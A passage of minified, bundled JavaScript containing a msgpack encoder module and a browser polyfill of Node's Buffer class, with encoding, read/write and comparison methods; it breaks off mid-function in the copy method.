		, 27: [function (e, t, n) {
			var r = e("isarray")
				, i = e("int64-buffer")
				, o = i.Uint64BE
				, a = i.Int64BE
				, s = e("./bufferish")
				, l = e("./bufferish-proto")
				, c = e("./write-token")
				, u = e("./write-uint8")
				.uint8
				, f = e("./ext-buffer")
				.ExtBuffer
				, d = "undefined" != typeof Uint8Array
				, h = "undefined" != typeof Map
				, p = [];
			p[1] = 212, p[2] = 213, p[4] = 214, p[8] = 215, p[16] = 216, n.getWriteType = function (e) {
				function t(e, t) {
					if(null === t) return n(e, t);
					if(w(t)) return v(e, t);
					if(r(t)) return function (e, t) {
						var n = t.length;
						g[n < 16 ? 144 + n : n <= 65535 ? 220 : 221](e, n);
						for(var r = e.codec.encode, i = 0; i < n; i++) r(e, t[i])
					}(e, t);
					if(o.isUint64BE(t)) return function (e, t) {
						g[207](e, t.toArray())
					}(e, t);
					if(a.isInt64BE(t)) return function (e, t) {
						g[211](e, t.toArray())
					}(e, t);
					var i = e.codec.getExtPacker(t);
					return i && (t = i(t)), t instanceof f ? function (e, t) {
						var n = t.buffer
							, r = n.length
							, i = p[r] || (r < 255 ? 199 : r <= 65535 ? 200 : 201);
						g[i](e, r), u[t.type](e), e.send(n)
					}(e, t) : void b(e, t)
				}

				function n(e, t) {
					g[192](e, t)
				}

				function i(e, t) {
					var n = t.length;
					g[n < 255 ? 196 : n <= 65535 ? 197 : 198](e, n), e.send(t)
				}

				function A(e, t) {
					var n = Object.keys(t)
						, r = n.length;
					g[r < 16 ? 128 + r : r <= 65535 ? 222 : 223](e, r);
					var i = e.codec.encode;
					n.forEach(function (n) {
						i(e, n), i(e, t[n])
					})
				}
				var g = c.getWriteToken(e)
					, m = e && e.useraw
					, y = d && e && e.binarraybuffer
					, w = y ? s.isArrayBuffer : s.isBuffer
					, v = y ? function (e, t) {
						i(e, new Uint8Array(t))
					} : i
					, b = h && e && e.usemap ? function (e, t) {
						if(!(t instanceof Map)) return A(e, t);
						var n = t.size;
						g[n < 16 ? 128 + n : n <= 65535 ? 222 : 223](e, n);
						var r = e.codec.encode;
						t.forEach(function (t, n, i) {
							r(e, n), r(e, t)
						})
					} : A;
				return {
					boolean: function (e, t) {
						g[t ? 195 : 194](e, t)
					}
					, function: n
					, number: function (e, t) {
						var n = 0 | t;
						return t !== n ? void g[203](e, t) : void g[-32 <= n && n <= 127 ? 255 & n : 0 <= n ? n <= 255 ? 204 : n <= 65535 ? 205 : 206 : -128 <= n ? 208 : -32768 <= n ? 209 : 210](e, n)
					}
					, object: m ? function (e, n) {
						return w(n) ? function (e, t) {
							var n = t.length;
							g[n < 32 ? 160 + n : n <= 65535 ? 218 : 219](e, n), e.send(t)
						}(e, n) : void t(e, n)
					} : t
					, string: function (e) {
						return function (t, n) {
							var r = n.length
								, i = 5 + 3 * r;
							t.offset = t.reserve(i);
							var o = t.buffer
								, a = e(r)
								, s = t.offset + a;
							r = l.write.call(o, n, s);
							var c = e(r);
							if(a !== c) {
								var u = s + c - a
									, f = s + r;
								l.copy.call(o, o, u, s, f)
							}
							g[1 === c ? 160 + r : c <= 3 ? 215 + c : 219](t, r), t.offset += r
						}
					}(m ? function (e) {
						return e < 32 ? 1 : e <= 65535 ? 3 : 5
					} : function (e) {
						return e < 32 ? 1 : e <= 255 ? 2 : e <= 65535 ? 3 : 5
					})
					, symbol: n
					, undefined: n
				}
			}
		}, {
			"./bufferish": 8
			, "./bufferish-proto": 6
			, "./ext-buffer": 17
			, "./write-token": 26
			, "./write-uint8": 28
			, "int64-buffer": 33
			, isarray: 34
		}]
		, 28: [function (e, t, n) {
			function r(e) {
				return function (t) {
					var n = t.reserve(1);
					t.buffer[n] = e
				}
			}
			for(var i = n.uint8 = new Array(256), o = 0; o <= 255; o++) i[o] = r(o)
		}, {}]
		, 29: [function (e, t, n) {
			(function (t) {
				"use strict";

				function r() {
					return o.TYPED_ARRAY_SUPPORT ? 2147483647 : 1073741823
				}

				function i(e, t) {
					if(r() < t) throw new RangeError("Invalid typed array length");
					return o.TYPED_ARRAY_SUPPORT ? (e = new Uint8Array(t))
						.__proto__ = o.prototype : (null === e && (e = new o(t)), e.length = t), e
				}

				function o(e, t, n) {
					if(!(o.TYPED_ARRAY_SUPPORT || this instanceof o)) return new o(e, t, n);
					if("number" == typeof e) {
						if("string" == typeof t) throw new Error("If encoding is specified then the first argument must be a string");
						return l(this, e)
					}
					return a(this, e, t, n)
				}

				function a(e, t, n, r) {
					if("number" == typeof t) throw new TypeError('"value" argument must not be a number');
					return "undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer ? function (e, t, n, r) {
						if(t.byteLength, n < 0 || t.byteLength < n) throw new RangeError("'offset' is out of bounds");
						if(t.byteLength < n + (r || 0)) throw new RangeError("'length' is out of bounds");
						return t = void 0 === n && void 0 === r ? new Uint8Array(t) : void 0 === r ? new Uint8Array(t, n) : new Uint8Array(t, n, r), o.TYPED_ARRAY_SUPPORT ? (e = t)
							.__proto__ = o.prototype : e = c(e, t), e
					}(e, t, n, r) : "string" == typeof t ? function (e, t, n) {
						if("string" == typeof n && "" !== n || (n = "utf8"), !o.isEncoding(n)) throw new TypeError('"encoding" must be a valid string encoding');
						var r = 0 | f(t, n)
							, a = (e = i(e, r))
							.write(t, n);
						return a !== r && (e = e.slice(0, a)), e
					}(e, t, n) : function (e, t) {
						if(o.isBuffer(t)) {
							var n = 0 | u(t.length);
							return 0 === (e = i(e, n))
								.length ? e : (t.copy(e, 0, 0, n), e)
						}
						if(t) {
							if("undefined" != typeof ArrayBuffer && t.buffer instanceof ArrayBuffer || "length" in t) return "number" != typeof t.length || function (e) {
								return e != e
							}(t.length) ? i(e, 0) : c(e, t);
							if("Buffer" === t.type && X(t.data)) return c(e, t.data)
						}
						throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")
					}(e, t)
				}

				function s(e) {
					if("number" != typeof e) throw new TypeError('"size" argument must be a number');
					if(e < 0) throw new RangeError('"size" argument must not be negative')
				}

				function l(e, t) {
					if(s(t), e = i(e, t < 0 ? 0 : 0 | u(t)), !o.TYPED_ARRAY_SUPPORT)
						for(var n = 0; n < t; ++n) e[n] = 0;
					return e
				}

				function c(e, t) {
					var n = t.length < 0 ? 0 : 0 | u(t.length);
					e = i(e, n);
					for(var r = 0; r < n; r += 1) e[r] = 255 & t[r];
					return e
				}

				function u(e) {
					if(e >= r()) throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x" + r()
						.toString(16) + " bytes");
					return 0 | e
				}

				function f(e, t) {
					if(o.isBuffer(e)) return e.length;
					if("undefined" != typeof ArrayBuffer && "function" == typeof ArrayBuffer.isView && (ArrayBuffer.isView(e) || e instanceof ArrayBuffer)) return e.byteLength;
					"string" != typeof e && (e = "" + e);
					var n = e.length;
					if(0 === n) return 0;
					for(var r = !1;;) switch(t) {
					case "ascii":
					case "latin1":
					case "binary":
						return n;
					case "utf8":
					case "utf-8":
					case void 0:
						return S(e)
							.length;
					case "ucs2":
					case "ucs-2":
					case "utf16le":
					case "utf-16le":
						return 2 * n;
					case "hex":
						return n >>> 1;
					case "base64":
						return q(e)
							.length;
					default:
						if(r) return S(e)
							.length;
						t = ("" + t)
							.toLowerCase(), r = !0
					}
				}

				function d(e, t, n) {
					var r = e[t];
					e[t] = e[n], e[n] = r
				}

				function h(e, t, n, r, i) {
					if(0 === e.length) return -1;
					if("string" == typeof n ? (r = n, n = 0) : n > 2147483647 ? n = 2147483647 : n < -2147483648 && (n = -2147483648), n = +n, isNaN(n) && (n = i ? 0 : e.length - 1), n < 0 && (n = e.length + n), n >= e.length) {
						if(i) return -1;
						n = e.length - 1
					} else if(n < 0) {
						if(!i) return -1;
						n = 0
					}
					if("string" == typeof t && (t = o.from(t, r)), o.isBuffer(t)) return 0 === t.length ? -1 : p(e, t, n, r, i);
					if("number" == typeof t) return t &= 255, o.TYPED_ARRAY_SUPPORT && "function" == typeof Uint8Array.prototype.indexOf ? i ? Uint8Array.prototype.indexOf.call(e, t, n) : Uint8Array.prototype.lastIndexOf.call(e, t, n) : p(e, [t], n, r, i);
					throw new TypeError("val must be string, number or Buffer")
				}

				function p(e, t, n, r, i) {
					function o(e, t) {
						return 1 === s ? e[t] : e.readUInt16BE(t * s)
					}
					var a, s = 1
						, l = e.length
						, c = t.length;
					if(void 0 !== r && ("ucs2" === (r = String(r)
							.toLowerCase()) || "ucs-2" === r || "utf16le" === r || "utf-16le" === r)) {
						if(e.length < 2 || t.length < 2) return -1;
						s = 2, l /= 2, c /= 2, n /= 2
					}
					if(i) {
						var u = -1;
						for(a = n; a < l; a++)
							if(o(e, a) === o(t, -1 === u ? 0 : a - u)) {
								if(-1 === u && (u = a), a - u + 1 === c) return u * s
							} else -1 !== u && (a -= a - u), u = -1
					} else
						for(n + c > l && (n = l - c), a = n; a >= 0; a--) {
							for(var f = !0, d = 0; d < c; d++)
								if(o(e, a + d) !== o(t, d)) {
									f = !1;
									break
								} if(f) return a
						}
					return -1
				}

				function A(e, t, n, r) {
					n = Number(n) || 0;
					var i = e.length - n;
					r ? (r = Number(r)) > i && (r = i) : r = i;
					var o = t.length;
					if(o % 2 != 0) throw new TypeError("Invalid hex string");
					r > o / 2 && (r = o / 2);
					for(var a = 0; a < r; ++a) {
						var s = parseInt(t.substr(2 * a, 2), 16);
						if(isNaN(s)) return a;
						e[n + a] = s
					}
					return a
				}

				function g(e, t, n, r) {
					return H(S(t, e.length - n), e, n, r)
				}

				function m(e, t, n, r) {
					return H(function (e) {
						for(var t = [], n = 0; n < e.length; ++n) t.push(255 & e.charCodeAt(n));
						return t
					}(t), e, n, r)
				}

				function y(e, t, n, r) {
					return m(e, t, n, r)
				}

				function w(e, t, n, r) {
					return H(q(t), e, n, r)
				}

				function v(e, t, n, r) {
					return H(function (e, t) {
						for(var n, r, i, o = [], a = 0; a < e.length && !((t -= 2) < 0); ++a) n = e.charCodeAt(a), r = n >> 8, i = n % 256, o.push(i), o.push(r);
						return o
					}(t, e.length - n), e, n, r)
				}

				function b(e, t, n) {
					return 0 === t && n === e.length ? V.fromByteArray(e) : V.fromByteArray(e.slice(t, n))
				}

				function x(e, t, n) {
					n = Math.min(e.length, n);
					for(var r = [], i = t; i < n;) {
						var o, a, s, l, c = e[i]
							, u = null
							, f = c > 239 ? 4 : c > 223 ? 3 : c > 191 ? 2 : 1;
						if(i + f <= n) switch(f) {
						case 1:
							c < 128 && (u = c);
							break;
						case 2:
							128 == (192 & (o = e[i + 1])) && ((l = (31 & c) << 6 | 63 & o) > 127 && (u = l));
							break;
						case 3:
							o = e[i + 1], a = e[i + 2], 128 == (192 & o) && 128 == (192 & a) && ((l = (15 & c) << 12 | (63 & o) << 6 | 63 & a) > 2047 && (l < 55296 || l > 57343) && (u = l));
							break;
						case 4:
							o = e[i + 1], a = e[i + 2], s = e[i + 3], 128 == (192 & o) && 128 == (192 & a) && 128 == (192 & s) && ((l = (15 & c) << 18 | (63 & o) << 12 | (63 & a) << 6 | 63 & s) > 65535 && l < 1114112 && (u = l))
						}
						null === u ? (u = 65533, f = 1) : u > 65535 && (u -= 65536, r.push(u >>> 10 & 1023 | 55296), u = 56320 | 1023 & u), r.push(u), i += f
					}
					return function (e) {
						var t = e.length;
						if(t <= U) return String.fromCharCode.apply(String, e);
						for(var n = "", r = 0; r < t;) n += String.fromCharCode.apply(String, e.slice(r, r += U));
						return n
					}(r)
				}

				function B(e, t, n) {
					var r = "";
					n = Math.min(e.length, n);
					for(var i = t; i < n; ++i) r += String.fromCharCode(127 & e[i]);
					return r
				}

				function E(e, t, n) {
					var r = "";
					n = Math.min(e.length, n);
					for(var i = t; i < n; ++i) r += String.fromCharCode(e[i]);
					return r
				}

				function k(e, t, n) {
					var r = e.length;
					(!t || t < 0) && (t = 0), (!n || n < 0 || n > r) && (n = r);
					for(var i = "", o = t; o < n; ++o) i += _(e[o]);
					return i
				}

				function C(e, t, n) {
					for(var r = e.slice(t, n), i = "", o = 0; o < r.length; o += 2) i += String.fromCharCode(r[o] + 256 * r[o + 1]);
					return i
				}

				function I(e, t, n) {
					if(e % 1 != 0 || e < 0) throw new RangeError("offset is not uint");
					if(e + t > n) throw new RangeError("Trying to access beyond buffer length")
				}

				function T(e, t, n, r, i, a) {
					if(!o.isBuffer(e)) throw new TypeError('"buffer" argument must be a Buffer instance');
					if(t > i || t < a) throw new RangeError('"value" argument is out of bounds');
					if(n + r > e.length) throw new RangeError("Index out of range")
				}

				function M(e, t, n, r) {
					t < 0 && (t = 65535 + t + 1);
					for(var i = 0, o = Math.min(e.length - n, 2); i < o; ++i) e[n + i] = (t & 255 << 8 * (r ? i : 1 - i)) >>> 8 * (r ? i : 1 - i)
				}

				function P(e, t, n, r) {
					t < 0 && (t = 4294967295 + t + 1);
					for(var i = 0, o = Math.min(e.length - n, 4); i < o; ++i) e[n + i] = t >>> 8 * (r ? i : 3 - i) & 255
				}

				function O(e, t, n, r, i, o) {
					if(n + r > e.length) throw new RangeError("Index out of range");
					if(n < 0) throw new RangeError("Index out of range")
				}

				function D(e, t, n, r, i) {
					return i || O(e, 0, n, 4), j.write(e, t, n, r, 23, 4), n + 4
				}

				function L(e, t, n, r, i) {
					return i || O(e, 0, n, 8), j.write(e, t, n, r, 52, 8), n + 8
				}

				function _(e) {
					return e < 16 ? "0" + e.toString(16) : e.toString(16)
				}

				function S(e, t) {
					t = t || 1 / 0;
					for(var n, r = e.length, i = null, o = [], a = 0; a < r; ++a) {
						if((n = e.charCodeAt(a)) > 55295 && n < 57344) {
							if(!i) {
								if(n > 56319) {
									(t -= 3) > -1 && o.push(239, 191, 189);
									continue
								}
								if(a + 1 === r) {
									(t -= 3) > -1 && o.push(239, 191, 189);
									continue
								}
								i = n;
								continue
							}
							if(n < 56320) {
								(t -= 3) > -1 && o.push(239, 191, 189), i = n;
								continue
							}
							n = 65536 + (i - 55296 << 10 | n - 56320)
						} else i && (t -= 3) > -1 && o.push(239, 191, 189);
						if(i = null, n < 128) {
							if((t -= 1) < 0) break;
							o.push(n)
						} else if(n < 2048) {
							if((t -= 2) < 0) break;
							o.push(n >> 6 | 192, 63 & n | 128)
						} else if(n < 65536) {
							if((t -= 3) < 0) break;
							o.push(n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
						} else {
							if(!(n < 1114112)) throw new Error("Invalid code point");
							if((t -= 4) < 0) break;
							o.push(n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128, 63 & n | 128)
						}
					}
					return o
				}

				function q(e) {
					return V.toByteArray(function (e) {
						if((e = function (e) {
									return e.trim ? e.trim() : e.replace(/^\s+|\s+$/g, "")
								}(e)
								.replace(R, ""))
							.length < 2) return "";
						for(; e.length % 4 != 0;) e += "=";
						return e
					}(e))
				}

				function H(e, t, n, r) {
					for(var i = 0; i < r && !(i + n >= t.length || i >= e.length); ++i) t[i + n] = e[i];
					return i
				}
				var V = e("base64-js")
					, j = e("ieee754")
					, X = e("isarray");
				n.Buffer = o, n.SlowBuffer = function (e) {
					return +e != e && (e = 0), o.alloc(+e)
				}, n.INSPECT_MAX_BYTES = 50, o.TYPED_ARRAY_SUPPORT = void 0 !== t.TYPED_ARRAY_SUPPORT ? t.TYPED_ARRAY_SUPPORT : function () {
					try {
						var e = new Uint8Array(1);
						return e.__proto__ = {
								__proto__: Uint8Array.prototype
								, foo: function () {
									return 42
								}
							}, 42 === e.foo() && "function" == typeof e.subarray && 0 === e.subarray(1, 1)
							.byteLength
					} catch (e) {
						return !1
					}
				}(), n.kMaxLength = r(), o.poolSize = 8192, o._augment = function (e) {
					return e.__proto__ = o.prototype, e
				}, o.from = function (e, t, n) {
					return a(null, e, t, n)
				}, o.TYPED_ARRAY_SUPPORT && (o.prototype.__proto__ = Uint8Array.prototype, o.__proto__ = Uint8Array, "undefined" != typeof Symbol && Symbol.species && o[Symbol.species] === o && Object.defineProperty(o, Symbol.species, {
					value: null
					, configurable: !0
				})), o.alloc = function (e, t, n) {
					return function (e, t, n, r) {
						return s(t), t <= 0 ? i(e, t) : void 0 !== n ? "string" == typeof r ? i(e, t)
							.fill(n, r) : i(e, t)
							.fill(n) : i(e, t)
					}(null, e, t, n)
				}, o.allocUnsafe = function (e) {
					return l(null, e)
				}, o.allocUnsafeSlow = function (e) {
					return l(null, e)
				}, o.isBuffer = function (e) {
					return !(null == e || !e._isBuffer)
				}, o.compare = function (e, t) {
					if(!o.isBuffer(e) || !o.isBuffer(t)) throw new TypeError("Arguments must be Buffers");
					if(e === t) return 0;
					for(var n = e.length, r = t.length, i = 0, a = Math.min(n, r); i < a; ++i)
						if(e[i] !== t[i]) {
							n = e[i], r = t[i];
							break
						} return n < r ? -1 : r < n ? 1 : 0
				}, o.isEncoding = function (e) {
					switch(String(e)
						.toLowerCase()) {
					case "hex":
					case "utf8":
					case "utf-8":
					case "ascii":
					case "latin1":
					case "binary":
					case "base64":
					case "ucs2":
					case "ucs-2":
					case "utf16le":
					case "utf-16le":
						return !0;
					default:
						return !1
					}
				}, o.concat = function (e, t) {
					if(!X(e)) throw new TypeError('"list" argument must be an Array of Buffers');
					if(0 === e.length) return o.alloc(0);
					var n;
					if(void 0 === t)
						for(t = 0, n = 0; n < e.length; ++n) t += e[n].length;
					var r = o.allocUnsafe(t)
						, i = 0;
					for(n = 0; n < e.length; ++n) {
						var a = e[n];
						if(!o.isBuffer(a)) throw new TypeError('"list" argument must be an Array of Buffers');
						a.copy(r, i), i += a.length
					}
					return r
				}, o.byteLength = f, o.prototype._isBuffer = !0, o.prototype.swap16 = function () {
					var e = this.length;
					if(e % 2 != 0) throw new RangeError("Buffer size must be a multiple of 16-bits");
					for(var t = 0; t < e; t += 2) d(this, t, t + 1);
					return this
				}, o.prototype.swap32 = function () {
					var e = this.length;
					if(e % 4 != 0) throw new RangeError("Buffer size must be a multiple of 32-bits");
					for(var t = 0; t < e; t += 4) d(this, t, t + 3), d(this, t + 1, t + 2);
					return this
				}, o.prototype.swap64 = function () {
					var e = this.length;
					if(e % 8 != 0) throw new RangeError("Buffer size must be a multiple of 64-bits");
					for(var t = 0; t < e; t += 8) d(this, t, t + 7), d(this, t + 1, t + 6), d(this, t + 2, t + 5), d(this, t + 3, t + 4);
					return this
				}, o.prototype.toString = function () {
					var e = 0 | this.length;
					return 0 === e ? "" : 0 === arguments.length ? x(this, 0, e) : function (e, t, n) {
						var r = !1;
						if((void 0 === t || t < 0) && (t = 0), t > this.length) return "";
						if((void 0 === n || n > this.length) && (n = this.length), n <= 0) return "";
						if((n >>>= 0) <= (t >>>= 0)) return "";
						for(e || (e = "utf8");;) switch(e) {
						case "hex":
							return k(this, t, n);
						case "utf8":
						case "utf-8":
							return x(this, t, n);
						case "ascii":
							return B(this, t, n);
						case "latin1":
						case "binary":
							return E(this, t, n);
						case "base64":
							return b(this, t, n);
						case "ucs2":
						case "ucs-2":
						case "utf16le":
						case "utf-16le":
							return C(this, t, n);
						default:
							if(r) throw new TypeError("Unknown encoding: " + e);
							e = (e + "")
								.toLowerCase(), r = !0
						}
					}.apply(this, arguments)
				}, o.prototype.equals = function (e) {
					if(!o.isBuffer(e)) throw new TypeError("Argument must be a Buffer");
					return this === e || 0 === o.compare(this, e)
				}, o.prototype.inspect = function () {
					var e = ""
						, t = n.INSPECT_MAX_BYTES;
					return this.length > 0 && (e = this.toString("hex", 0, t)
						.match(/.{2}/g)
						.join(" "), this.length > t && (e += " ... ")), "<Buffer " + e + ">"
				}, o.prototype.compare = function (e, t, n, r, i) {
					if(!o.isBuffer(e)) throw new TypeError("Argument must be a Buffer");
					if(void 0 === t && (t = 0), void 0 === n && (n = e ? e.length : 0), void 0 === r && (r = 0), void 0 === i && (i = this.length), t < 0 || n > e.length || r < 0 || i > this.length) throw new RangeError("out of range index");
					if(r >= i && t >= n) return 0;
					if(r >= i) return -1;
					if(t >= n) return 1;
					if(this === e) return 0;
					for(var a = (i >>>= 0) - (r >>>= 0), s = (n >>>= 0) - (t >>>= 0), l = Math.min(a, s), c = this.slice(r, i), u = e.slice(t, n), f = 0; f < l; ++f)
						if(c[f] !== u[f]) {
							a = c[f], s = u[f];
							break
						} return a < s ? -1 : s < a ? 1 : 0
				}, o.prototype.includes = function (e, t, n) {
					return -1 !== this.indexOf(e, t, n)
				}, o.prototype.indexOf = function (e, t, n) {
					return h(this, e, t, n, !0)
				}, o.prototype.lastIndexOf = function (e, t, n) {
					return h(this, e, t, n, !1)
				}, o.prototype.write = function (e, t, n, r) {
					if(void 0 === t) r = "utf8", n = this.length, t = 0;
					else if(void 0 === n && "string" == typeof t) r = t, n = this.length, t = 0;
					else {
						if(!isFinite(t)) throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");
						t |= 0, isFinite(n) ? (n |= 0, void 0 === r && (r = "utf8")) : (r = n, n = void 0)
					}
					var i = this.length - t;
					if((void 0 === n || n > i) && (n = i), e.length > 0 && (n < 0 || t < 0) || t > this.length) throw new RangeError("Attempt to write outside buffer bounds");
					r || (r = "utf8");
					for(var o = !1;;) switch(r) {
					case "hex":
						return A(this, e, t, n);
					case "utf8":
					case "utf-8":
						return g(this, e, t, n);
					case "ascii":
						return m(this, e, t, n);
					case "latin1":
					case "binary":
						return y(this, e, t, n);
					case "base64":
						return w(this, e, t, n);
					case "ucs2":
					case "ucs-2":
					case "utf16le":
					case "utf-16le":
						return v(this, e, t, n);
					default:
						if(o) throw new TypeError("Unknown encoding: " + r);
						r = ("" + r)
							.toLowerCase(), o = !0
					}
				}, o.prototype.toJSON = function () {
					return {
						type: "Buffer"
						, data: Array.prototype.slice.call(this._arr || this, 0)
					}
				};
				var U = 4096;
				o.prototype.slice = function (e, t) {
					var n, r = this.length;
					if((e = ~~e) < 0 ? (e += r) < 0 && (e = 0) : e > r && (e = r), (t = void 0 === t ? r : ~~t) < 0 ? (t += r) < 0 && (t = 0) : t > r && (t = r), t < e && (t = e), o.TYPED_ARRAY_SUPPORT)(n = this.subarray(e, t))
						.__proto__ = o.prototype;
					else {
						var i = t - e;
						n = new o(i, void 0);
						for(var a = 0; a < i; ++a) n[a] = this[a + e]
					}
					return n
				}, o.prototype.readUIntLE = function (e, t, n) {
					e |= 0, t |= 0, n || I(e, t, this.length);
					for(var r = this[e], i = 1, o = 0; ++o < t && (i *= 256);) r += this[e + o] * i;
					return r
				}, o.prototype.readUIntBE = function (e, t, n) {
					e |= 0, t |= 0, n || I(e, t, this.length);
					for(var r = this[e + --t], i = 1; t > 0 && (i *= 256);) r += this[e + --t] * i;
					return r
				}, o.prototype.readUInt8 = function (e, t) {
					return t || I(e, 1, this.length), this[e]
				}, o.prototype.readUInt16LE = function (e, t) {
					return t || I(e, 2, this.length), this[e] | this[e + 1] << 8
				}, o.prototype.readUInt16BE = function (e, t) {
					return t || I(e, 2, this.length), this[e] << 8 | this[e + 1]
				}, o.prototype.readUInt32LE = function (e, t) {
					return t || I(e, 4, this.length), (this[e] | this[e + 1] << 8 | this[e + 2] << 16) + 16777216 * this[e + 3]
				}, o.prototype.readUInt32BE = function (e, t) {
					return t || I(e, 4, this.length), 16777216 * this[e] + (this[e + 1] << 16 | this[e + 2] << 8 | this[e + 3])
				}, o.prototype.readIntLE = function (e, t, n) {
					e |= 0, t |= 0, n || I(e, t, this.length);
					for(var r = this[e], i = 1, o = 0; ++o < t && (i *= 256);) r += this[e + o] * i;
					return r >= (i *= 128) && (r -= Math.pow(2, 8 * t)), r
				}, o.prototype.readIntBE = function (e, t, n) {
					e |= 0, t |= 0, n || I(e, t, this.length);
					for(var r = t, i = 1, o = this[e + --r]; r > 0 && (i *= 256);) o += this[e + --r] * i;
					return o >= (i *= 128) && (o -= Math.pow(2, 8 * t)), o
				}, o.prototype.readInt8 = function (e, t) {
					return t || I(e, 1, this.length), 128 & this[e] ? -1 * (255 - this[e] + 1) : this[e]
				}, o.prototype.readInt16LE = function (e, t) {
					t || I(e, 2, this.length);
					var n = this[e] | this[e + 1] << 8;
					return 32768 & n ? 4294901760 | n : n
				}, o.prototype.readInt16BE = function (e, t) {
					t || I(e, 2, this.length);
					var n = this[e + 1] | this[e] << 8;
					return 32768 & n ? 4294901760 | n : n
				}, o.prototype.readInt32LE = function (e, t) {
					return t || I(e, 4, this.length), this[e] | this[e + 1] << 8 | this[e + 2] << 16 | this[e + 3] << 24
				}, o.prototype.readInt32BE = function (e, t) {
					return t || I(e, 4, this.length), this[e] << 24 | this[e + 1] << 16 | this[e + 2] << 8 | this[e + 3]
				}, o.prototype.readFloatLE = function (e, t) {
					return t || I(e, 4, this.length), j.read(this, e, !0, 23, 4)
				}, o.prototype.readFloatBE = function (e, t) {
					return t || I(e, 4, this.length), j.read(this, e, !1, 23, 4)
				}, o.prototype.readDoubleLE = function (e, t) {
					return t || I(e, 8, this.length), j.read(this, e, !0, 52, 8)
				}, o.prototype.readDoubleBE = function (e, t) {
					return t || I(e, 8, this.length), j.read(this, e, !1, 52, 8)
				}, o.prototype.writeUIntLE = function (e, t, n, r) {
					(e = +e, t |= 0, n |= 0, r) || T(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
					var i = 1
						, o = 0;
					for(this[t] = 255 & e; ++o < n && (i *= 256);) this[t + o] = e / i & 255;
					return t + n
				}, o.prototype.writeUIntBE = function (e, t, n, r) {
					(e = +e, t |= 0, n |= 0, r) || T(this, e, t, n, Math.pow(2, 8 * n) - 1, 0);
					var i = n - 1
						, o = 1;
					for(this[t + i] = 255 & e; --i >= 0 && (o *= 256);) this[t + i] = e / o & 255;
					return t + n
				}, o.prototype.writeUInt8 = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 1, 255, 0), o.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)), this[t] = 255 & e, t + 1
				}, o.prototype.writeUInt16LE = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 2, 65535, 0), o.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8) : M(this, e, t, !0), t + 2
				}, o.prototype.writeUInt16BE = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 2, 65535, 0), o.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8, this[t + 1] = 255 & e) : M(this, e, t, !1), t + 2
				}, o.prototype.writeUInt32LE = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 4, 4294967295, 0), o.TYPED_ARRAY_SUPPORT ? (this[t + 3] = e >>> 24, this[t + 2] = e >>> 16, this[t + 1] = e >>> 8, this[t] = 255 & e) : P(this, e, t, !0), t + 4
				}, o.prototype.writeUInt32BE = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 4, 4294967295, 0), o.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24, this[t + 1] = e >>> 16, this[t + 2] = e >>> 8, this[t + 3] = 255 & e) : P(this, e, t, !1), t + 4
				}, o.prototype.writeIntLE = function (e, t, n, r) {
					if(e = +e, t |= 0, !r) {
						var i = Math.pow(2, 8 * n - 1);
						T(this, e, t, n, i - 1, -i)
					}
					var o = 0
						, a = 1
						, s = 0;
					for(this[t] = 255 & e; ++o < n && (a *= 256);) e < 0 && 0 === s && 0 !== this[t + o - 1] && (s = 1), this[t + o] = (e / a >> 0) - s & 255;
					return t + n
				}, o.prototype.writeIntBE = function (e, t, n, r) {
					if(e = +e, t |= 0, !r) {
						var i = Math.pow(2, 8 * n - 1);
						T(this, e, t, n, i - 1, -i)
					}
					var o = n - 1
						, a = 1
						, s = 0;
					for(this[t + o] = 255 & e; --o >= 0 && (a *= 256);) e < 0 && 0 === s && 0 !== this[t + o + 1] && (s = 1), this[t + o] = (e / a >> 0) - s & 255;
					return t + n
				}, o.prototype.writeInt8 = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 1, 127, -128), o.TYPED_ARRAY_SUPPORT || (e = Math.floor(e)), e < 0 && (e = 255 + e + 1), this[t] = 255 & e, t + 1
				}, o.prototype.writeInt16LE = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 2, 32767, -32768), o.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8) : M(this, e, t, !0), t + 2
				}, o.prototype.writeInt16BE = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 2, 32767, -32768), o.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 8, this[t + 1] = 255 & e) : M(this, e, t, !1), t + 2
				}, o.prototype.writeInt32LE = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 4, 2147483647, -2147483648), o.TYPED_ARRAY_SUPPORT ? (this[t] = 255 & e, this[t + 1] = e >>> 8, this[t + 2] = e >>> 16, this[t + 3] = e >>> 24) : P(this, e, t, !0), t + 4
				}, o.prototype.writeInt32BE = function (e, t, n) {
					return e = +e, t |= 0, n || T(this, e, t, 4, 2147483647, -2147483648), e < 0 && (e = 4294967295 + e + 1), o.TYPED_ARRAY_SUPPORT ? (this[t] = e >>> 24, this[t + 1] = e >>> 16, this[t + 2] = e >>> 8, this[t + 3] = 255 & e) : P(this, e, t, !1), t + 4
				}, o.prototype.writeFloatLE = function (e, t, n) {
					return D(this, e, t, !0, n)
				}, o.prototype.writeFloatBE = function (e, t, n) {
					return D(this, e, t, !1, n)
				}, o.prototype.writeDoubleLE = function (e, t, n) {
					return L(this, e, t, !0, n)
				}, o.prototype.writeDoubleBE = function (e, t, n) {
					return L(this, e, t, !1, n)
				}, o.prototype.copy = function (e, t, n, r) {
					if(n || (n = 0), r || 0 === r || (r = this.length), t >= e.length && (t = e.length), t || (t = 0), r > 0 && r < n && (r = n), r === n) return 0;
					if(0 === e.length || 0 === this.length) return 0;
					if(t < 0) throw new RangeError("targetStart out of bounds");
